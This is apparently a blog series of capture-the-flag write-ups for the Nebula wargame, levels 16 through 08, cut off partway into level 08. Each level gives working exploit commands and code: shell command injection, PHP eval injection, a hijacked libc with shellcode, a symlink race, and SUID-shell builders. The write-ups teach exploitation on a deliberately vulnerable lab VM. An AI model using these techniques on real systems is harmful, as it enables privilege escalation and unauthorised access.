Monday, September 3, 2012

nebula level16

Level details:
There is a perl script running on port 1616.
Source code:

Once again we're dealing with command injection, but this time you'll notice that there's some restrictions to our input. The username is first converted to uppercase then removed everything after the first space. We can overcome the first restriction easily using the case modification features that bash provides (read "Case modification" in the bash man page). Here's a quick test:
level16@nebula:~$ VAR="HACK THE PLANET"
level16@nebula:~$ echo ${VAR,,}
hack the planet
So far so good.
Now the second restriction, no spaces. Looking at where the $username variable is, we'll need to close egrep's pattern's double-quote:
"
But egrep also needs an input file, and we don't want it to read from the standard input since we don't have control over that. But a second argument requires a space to be inserted. What we can do is pipe in /dev/null to the standard input:
"</dev/null
Now we need to inject our command. Since no spaces are allowed, we can inject a minimal command that invokes a shell script. Let's assume for a moment that we have the shell script in /tmp/mkshell that makes a SUID shell for us. The input at this point looks like:
"</dev/null;/tmp/mkshell;
Now we need to close up. We can ignore everything that follows by marking it as a comment.
"</dev/null;/tmp/mkshell;#
But you do remember that everything gets converted to uppercase, right? The actual command executed will be:
"</DEV/NULL;/TMP/MKSHELL;#
There's not much we can do about the /DEV/NULL, except put in a non-existent file. bash won't execute the egrep command, but it will execute everything else. /DEV/NULL is already non-existent so we might just as well leave it.
We can put /TMP/MKSHELL in a variable and use case modification as explained above.
"</dev/null;a=/tmp/mkshell;${a,,};#
After uppercase conversion, this looks like:
"</DEV/NULL;A=/TMP/MKSHELL;${A,,};#
Now we write /tmp/mkshell.
level16@nebula:~$ cat > /tmp/mkshell
#!/bin/sh

cat << EOF > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
EOF
cc -o /tmp/flag16_sh /tmp/shell.c
chmod +s /tmp/flag16_sh
Now, just like level07, we need to URL-encode the input before submitting the HTTP request. Let's get that flag.
level16@nebula:~$ username=$(php -r 'echo urlencode("\" lethal_data              level16@nebula:~$ wget -q -O - --post-data=lethal_data 'localhost:1616/index.cgi'Login resulsYour login failed
Would you like a cookie?

level16@nebula:~$ /tmp/flag16_sh sh-4.2$ id uid=983(flag16) gid=1017(level16) egid=983(flag16) groups=983(flag16),1017(level16) sh-4.2$ getflag You have successfully executed getflag on a target account
A few more flags and we'll be on our way to protostar ;)

~ Dmitry

nebula level15

Level details:
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
Let's try running it before getting a strace, to see if we can get any other information out of it:
level15@nebula:~$ ~flag15/flag15
strace it!
Nope... Let's strace it then:
level15@nebula:~$ strace ~flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x9d1e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775f000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=20413, ...}) = 0
mmap2(NULL, 20413, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb775a000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1713640, ...}) = 0
mmap2(NULL, 1723100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x63e000
mmap2(0x7dd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19f) = 0x7dd000
mmap2(0x7e0000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7e0000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7759000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7759900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x7dd000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x21d000, 4096, PROT_READ)     = 0
munmap(0xb775a000, 20413)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775e000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?
That's weird, it tries to open() a bunch of libraries from /var/tmp/flag15 before actually mapping the executable contents into memory... Let's see what objdump gives us:
level15@nebula:~$ objdump -p ~flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Ah, so the binary has been linked with -rpath. Easy enough, we'll have to roll our own libc.so.6 in /var/tmp/flag15 and make it give us a shell... Let's try just that:
level15@nebula:~$ mkdir /var/tmp/flag15/
level15@nebula:~$ pushd /var/tmp/flag15/
/var/tmp/flag15 ~
level15@nebula:/var/tmp/flag15$ cat > libc.c
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init()
{
        int euid = geteuid();

        setresuid(euid, euid, euid);
        system("sh");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol geteuid, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Apparently there's some symbol versioning conflicts between the original libc and the one we just compiled. We'll have to get a shell without relying on the real libc, which means we'll have to write some shellcode :)
level15@nebula:/var/tmp/flag15$ cat > shell.S
.section .text
.globl shell
shell:
mov $49, %eax    # geteuid
int $0x80

mov %eax, %ebx
mov %eax, %ecx
mov %eax, %edx
mov $164, %eax    # setresuid
int $0x80

mov $sh_str, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax      # execve
int $0x80

.section .data
sh_str: .ascii "/bin/sh\0"
And our constructor function:
level15@nebula:/var/tmp/flag15$ cat > libc.c
void shell(void);

void __attribute__((constructor)) init()
{
        shell();
}
Now let's compile it without linking to libc:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c shell.S
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account
inc flags ;)

~ Dmitry

nebula level14

Level details:
This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
This time we will have to figure out how the encryption routine works to come up with a decryption routine in order to decrypt the token.
The encryption algorithm turns out to be so easy that you can figure it out by simply experimenting with the binary. But if we were to employ a systematic approach, we'd have to analyze the binary, which is exactly what we will do. This time we'll use objdump as our disassembler. Using objdump -D to disassemble, we find that the encryption routine lies in <main>:
level14@nebula:~$ objdump -dMintel ~flag14/flag14

/home/flag14/flag14:     file format elf32-i386

...

08048464 <main>:
...
 8048482:       c7 44 24 2c 00 00 00    mov    DWORD PTR [esp+0x2c],0x0
...
 80484e1:       90                      nop
 80484e2:       c7 44 24 08 40 00 00    mov    DWORD PTR [esp+0x8],0x40
 80484e9:       00
 80484ea:       8d 44 24 3c             lea    eax,[esp+0x3c]
 80484ee:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484f2:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80484f9:       e8 52 fe ff ff          call   8048350 <read@plt>
 80484fe:       89 44 24 34             mov    DWORD PTR [esp+0x34],eax
 8048502:       83 7c 24 34 00          cmp    DWORD PTR [esp+0x34],0x0
 8048507:       7f 0c                   jg     8048515 <main+0xb1>
 8048509:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048510:       e8 6b fe ff ff          call   8048380 <exit@plt>
 8048515:       c7 44 24 30 00 00 00    mov    DWORD PTR [esp+0x30],0x0
 804851c:       00
 804851d:       eb 29                   jmp    8048548 <main+0xe4>
 804851f:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048523:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 8048527:       0f b6 00                movzx  eax,BYTE PTR [eax]
 804852a:       89 c2                   mov    edx,eax
 804852c:       8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
 8048534:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048538:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 804853c:       88 10                   mov    BYTE PTR [eax],dl
 804853e:       83 44 24 2c 01          add    DWORD PTR [esp+0x2c],0x1
 8048543:       83 44 24 30 01          add    DWORD PTR [esp+0x30],0x1
 8048548:       8b 44 24 30             mov    eax,DWORD PTR [esp+0x30]
 804854c:       3b 44 24 34             cmp    eax,DWORD PTR [esp+0x34]
 8048550:       7c cd                   jl     804851f <main+0xbb>
 8048552:       8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 8048556:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804855a:       8d 44 24 3c             lea    eax,[esp+0x3c]
 804855e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048562:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048569:       e8 32 fe ff ff          call   80483a0 <write@plt>
 804856e:       89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048572:       83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 8048577:       0f 8f 64 ff ff ff       jg     80484e1 <main+0x7d>
...
The above is the C equivalent of a for loop inside a do-while loop. The input is being read in 64 (0x40) byte chunks, then each byte is added the value of it's (global) offset. (by global offset I mean that the offset is preserved across different chunks.)

The C equivalent code would look like:
int c = 0;
int i;
int rd;
unsigned char buffer[64];

do {
    rd = read(STDIN_FILENO, buffer, sizeof(buffer));
    if(rd <= 0)
        exit(0);

    for(i = 0; i < rd; i++)
        buffer[i] += c++;
} while(write(STDOUT_FILENO, buffer, rd) > 0);
Like I said, we could deduce the above routine by using purely observational analysis:
level14@nebula:~$ ~flag14/flag14 -e
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno9
Constructing the decryption routine consists of changing the += to -=
If you've noticed, we can reuse the flag14 binary to do the decryption for us by applying a simple patch here:
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
We could change the add to a sub, but then we'd have to negate the result (because we would essentially be computing c - buffer[i], while we need -(c - buffer[i]) = buffer[i] - c). But we can't fit the 'neg eax' (2 bytes) and still put the result in edx. We'll have to come up with a better patch.
What if we could simply patch in 'sub edx, eax' and nop out the 'mov edx, eax' that follows? 2 bytes for the sub and 2 bytes for the nops, seems good.
But we can still do better... We can nop out the 'add eax, edx' and put the 'sub edx, eax' instead of 'mov edx, eax'. That's still 4 bytes, but notice that we can reuse the ModR/M byte of the mov instruction for our sub. That's 3 bytes:
level14@nebula:~$ # nop = 0x90
level14@nebula:~$ # sub edx, eax = 0x29 0xc2
level14@nebula:~$ echo -ne '\x90\x90\x29' > patch
level14@nebula:~$ cp ~flag14/flag14 flag14_decrypt
level14@nebula:~$ dd if=patch of=flag14_decrypt bs=1 seek=1328 conv=notrunc
3+0 records in
3+0 records out
3 bytes (3 B) copied, 0.000137174 s, 21.9 kB/s
level14@nebula:~$ ./flag14_decrypt -e < ~flag14/token
8457c118-887c-4e40-a5a6-33a25353165
                                   ▒level14@nebula:~$ su flag14 -c getflag
Password:
You have successfully executed getflag on a target account
We got another flag for just 3 bytes ;)

~ Dmitry

nebula level13

Level details:
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
This one is quite nice. Source code:

This program requires us to run it with a UID of 1000 in order to print the token. But let's think where that token actually comes from. The fact that not all of the source code is shown indicates that the token may be somehow generated (or even hardcoded) and then printed to us. The flag13 binary being SUID serves no purpose. We can easily reverse engineer how the token is generated. You could go for a static analysis approach and use a disassembler (I prefer IDA). This is however one of the cases where a dynamic approach is ideal. Since we don't need the elevated UID from the setuid bit, we can simply make getuid return 1000 ourselves. This could be done using LD_PRELOAD and writing our own getuid function in a library, but there's an even easier way. Simply use a debugger and modify the return value:
level13@nebula:~$ gdb -q ~flag13/flag13
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080484c4 <+0>:     push   %ebp
   0x080484c5 <+1>:     mov    %esp,%ebp
   0x080484c7 <+3>:     push   %edi
   0x080484c8 <+4>:     push   %ebx
   0x080484c9 <+5>:     and    $0xfffffff0,%esp
   0x080484cc <+8>:     sub    $0x130,%esp
   0x080484d2 <+14>:    mov    0xc(%ebp),%eax
   0x080484d5 <+17>:    mov    %eax,0x1c(%esp)
   0x080484d9 <+21>:    mov    0x10(%ebp),%eax
   0x080484dc <+24>:    mov    %eax,0x18(%esp)
   0x080484e0 <+28>:    mov    %gs:0x14,%eax
   0x080484e6 <+34>:    mov    %eax,0x12c(%esp)
   0x080484ed <+41>:    xor    %eax,%eax
   0x080484ef <+43>:    call   0x80483c0 
   0x080484f4 <+48>:    cmp    $0x3e8,%eax
   0x080484f9 <+53>:    je     0x8048531 
0x080484fb <+55>: call 0x80483c0 0x08048500 <+60>: mov $0x80486d0,%edx 0x08048505 <+65>: movl $0x3e8,0x8(%esp) 0x0804850d <+73>: mov %eax,0x4(%esp) 0x08048511 <+77>: mov %edx,(%esp) 0x08048514 <+80>: call 0x80483a0 ---Type to continue, or q to quit---q Quit (gdb) break *main+48 Breakpoint 1 at 0x80484f4 (gdb) commands 1 Type commands for breakpoint(s) 1, one per line. End with a line saying just "end". >set $eax = 1000 >c >end (gdb) r Starting program: /home/flag13/flag13 Breakpoint 1, 0x080484f4 in main () your token is b705702b-76a8-42b0-8844-3adabbe5ac58 [Inferior 1 (process 1330) exited with code 063] (gdb)
And there's our token :)
Keep in mind that when debugging a SUID binary, it actually runs as a normal binary, effectively dismissing the setuid bit. And LD_PRELOAD wouldn't work with a SUID binary.

Now go ahead and get the flag:
level13@nebula:~$ su flag13 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level12

Level details:
There is a backdoor process listening on port 50001.
Source code:
This one is super easy. It's a service written in lua that asks you for a password. The password's SHA-1 hash is generated and compared against a hardcoded hash. This is misleading, because the real problem resides in the hash function itself. The password variable is put in the command that generates the SHA-1 hash as is. Thus this is a simple command injection vulnerability.
level12@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level12@nebula:~$ echo '; cc -o /tmp/flag12_sh /tmp/shell.c; chmod +s /tmp/flag12_sh; echo' | nc localhost 50001
Password: Better luck next time
level12@nebula:~$ /tmp/flag12_sh
sh-4.2$ id
uid=987(flag12) gid=1013(level12) egid=987(flag12) groups=987(flag12),1013(level12)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Still worth a flag though.

~ Dmitry

nebula level11

Level description:
The /home/flag11/flag11 binary processes standard input and executes a shell command.
Source code:

The binary reads a 'header' which is simply the length of the command to be executed, then the command, and then executes the command. The problem is that we need to encrypt the command we send. The decryption routine in the 'process' function is a simple stream cipher which uses XOR. The key is derived by the length and the plaintext:
void process(char *buffer, int length)
{
 unsigned int key;
 int i;

 key = length & 0xff;

 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
        setgid(getgid());
        setuid(getuid());
 system(buffer);
}
So in order to encrypt the command, we need to know the length and the plaintext, which we both have beforehand.
Another thing to notice is that if we provide a command shorter than 1024 bytes, the fread call fails. This is because it specifies the size of an element as the whole command length, and tries to read 1 element. But then it checks whether fread returned 'length' elements or not. This isn't always possible. The fread call will only ever return 0 or 1. Now in the latter case, you could encrypt a 1-byte command and send it, but there's no NULL terminator after it (or other ways to discard the junk that follows).

The other branch of code reads our encrypted command in 1024 byte chunks. One 1024 byte is enough. Our encryption routine needs to derive the key and XOR it with the command bytes. As seen in the source code, the key is first set to the least significant byte of the command length, then it's subtracted the value of the last command byte encrypted. The command encryption code is as follows:
level11@nebula:~$ cat > pwn.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char buffer[1024];
    unsigned int key;
    int i;

    if(argc != 2)
        return EXIT_FAILURE;

    strncpy(buffer, argv[1], 1024);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return EXIT_SUCCESS;
}
level11@nebula:~$ make pwn
cc     pwn.c   -o pwn
Using it is indeed very easy. Keep in mind that because of the way the second code branch works, we need to specify the TEMP environment variable. This is where the flag11 binary will store the temporary file in which our command will be put.
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn getflag | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
But we won't be satisfied without a SUID shell :)
level11@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn 'cc -o /tmp/flag11_sh /tmp/shell.c; chmod +s /tmp/flag11_sh' | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
level11@nebula:~$ /tmp/flag11_sh
sh-4.2$ id
uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Let's go get some other flags...

~ Dmitry

nebula level10

Level details:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
Source code:

This program's purpose is to send a file to the specified host, if you have read access to the file. The access check however, is implemented poorly. The access man page warns us that there might exist a race condition if the above check is implemented:
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)
We need to read the ~flag10/token. In order to successfully exploit the flag10 binary, we will make it check the access of a symbolic link which is continuously changing from a legit file to ~flag10/token, in the hope that it will change from the legit file to the actual token file during the time between the access() system call and the open() system call.
level10@nebula:~$ while true; do ln -sf /dev/null token; ln -sf ~flag10/token token; done &
[1] 11039
level10@nebula:~$ nc.traditional -l -p 18211 > loot & # traditional netcat FTW!
[2] 14719
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[2]+  Done                    nc.traditional -l -p 18211 > loot
level10@nebula:~$ kill -9 11039 # cleanup
level10@nebula:~$ cat fl
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[1]+  Killed                  while true; do
    ln -sf /dev/null token; ln -sf ~flag10/token token;
done
Now go ahead and get the flag :)
level10@nebula:~$ su flag10 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level09

This time we're dealing with a vulnerable PHP script.
Source code:
The vulnerability is clearly the PREG_REPLACE_EVAL pattern modifier in preg_replace.
The purpose of the code seems to be the transformation of email addresses to a non-spambot-friendly format. Let's try to use it:
level09@nebula:~$ cat << EOF > lethal_data
> [email dmolotov@mail.ru]
> [email [uberskill@mail.ru]]
> EOF
level09@nebula:~$ ~flag09/flag09 lethal_data null
dmolotov AT mail dot ru
<uberskill AT mail dot ru>
We can exploit the script using PHP's so called complex syntax.
The actual email address is substituted as the argument to the 'spam' function, and then it's evaluated as PHP code. Normally it should be an email address, but we can achieve arbitrary code execution by using complex syntax as follows:
level09@nebula:~$ cat > lethal_data
[email {${system($use_me)}}]
level09@nebula:~$ ~flag09/flag09 lethal_data getflag
You have successfully executed getflag on a target account
PHP Notice:  Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Or you could even get a shell with the EUID of flag09:
level09@nebula:~$ ~flag09/flag09 lethal_data sh
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
But why settle for that when we can even have a SUID shell :)
level09@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level09@nebula:~$ make /tmp/shell
cc     /tmp/shell.c   -o /tmp/shell
level09@nebula:~$ ~flag09/flag09 lethal_data 'cp /tmp/shell /tmp/flag09_sh; chmod +s /tmp/flag09_sh'
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:~$ /tmp/flag09_sh
sh-4.2$ id
uid=990(flag09) gid=1010(level09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
There are even other ways to exploit the vulnerability. For instance, we don't need to rely on the $use_me variable at all. We could use $filename and execute the input data itself:
level09@nebula:~$ cat > lethal_data
sh # [email {${system($filename)}}]
level09@nebula:~$ chmod +x lethal_data
level09@nebula:~$ ~flag09/flag09 ./lethal_data null
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Or we could use some PHP black magic and hardcode the command without quotes directly:
level09@nebula:~$ cat > lethal_data
[email {${system(sh)}}]
level09@nebula:~$ ~flag09/flag09 ./lethal_data null
PHP Notice:  Use of undefined constant sh - assumed 'sh' in /home/flag09/flag09.php(15) : regexp code on line 1
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
We got the flag by exploiting the same vulnerability with three different methods :)

~ Dmitry

nebula level08

Level description:
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
Let's check out what's in flag08's home directory...
level08@nebula:~$ ls -l ~flag08
total 12
-rw-r--r-- 1 root root 8302 Nov 20  2011 capture.pcap
It's a packet capture file. Probably the best tool for examining these is wireshark.
You will probably want to have the pcap file in the host operating system. Using scp is one of the many ways to transfer it from the VM.

Opening capture.pcap in wireshark, we see a TCP connection between 59.233.235.218:39247 and 59.233.235.223:12121.

59.233.235.223:12121 being the server, TCP port 12121 doesn't bring any protocol of interest to mind. We could identify the protocol by finding unique fingerprints in the TCP stream, but the strings from capture.pcap might give away that information more easily.
level08@nebula:~$ strings ~flag08/capture.pcap
@f&N.
@f&N
@f&N
@f&N
%@f&N
@f&N
%@f&NZ
$@f&N
$@f&N
$@f&N)
@f&N
38400,38400
SodaCan:0
DISPLAY
SodaCan:0
xterm
@f&N0
!@f&N
!@f&NF
@f&N
@f&N
"@f&N
"@f&N0
@f&Nm-
@f&N
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)
wwwbugs login: @f&NV.
